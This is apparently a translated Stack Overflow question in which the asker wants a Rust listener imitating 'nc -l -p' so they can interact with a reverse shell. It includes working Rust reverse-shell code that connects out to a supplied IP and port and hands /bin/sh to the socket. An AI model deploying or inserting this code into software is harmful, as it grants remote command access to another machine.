【发布时间】:2020-04-23 13:48:44
【问题描述】:
OpenBSD 的 Netcat implementation 用unix_bind() 侦听端口...与Rust 的TcpListener::bind() 的行为基本相同。我在编写listen 函数(模拟nc -l -p <port>)时迷失了方向,即如何与反向shell 交互。
虽然听起来微不足道,但我希望listen 像nc -l -p <port> 一样给我sh-3.2$ 提示。我在网上挖掘的所有 Netcat-Rust 实现都不允许我与这样的反向 shell 交互。
反向shell代码(机器1):(改编自this question我多年前问过)
fn reverse_shell(ip: &str, port: &str) {
let s = TcpStream::connect((ip, port)).unwrap();
let fd = s.as_raw_fd();
Command::new("/bin/sh")
.arg("-i")
.stdin(unsafe { Stdio::from_raw_fd(fd) })
.stdout(unsafe { Stdio::from_raw_fd(fd) })
.stderr(unsafe { Stdio::from_raw_fd(fd) })
.spawn().unwrap().wait().unwrap();
}
监听代码(机器2):
fn listen(port: u16) {
let x = std::net::TcpListener::bind(("0.0.0.0", port)).unwrap();
let (mut stream, _) = x.accept().unwrap();
// How do I interact with the shell now??
}
Rust 代码具有一定的简洁性和优雅性,可以帮助我简洁地理解正在发生的事情,这就是为什么我不想只从 Netcat 复制 C 代码。
【问题讨论】:
标签: sockets tcp rust netcat reverse-shell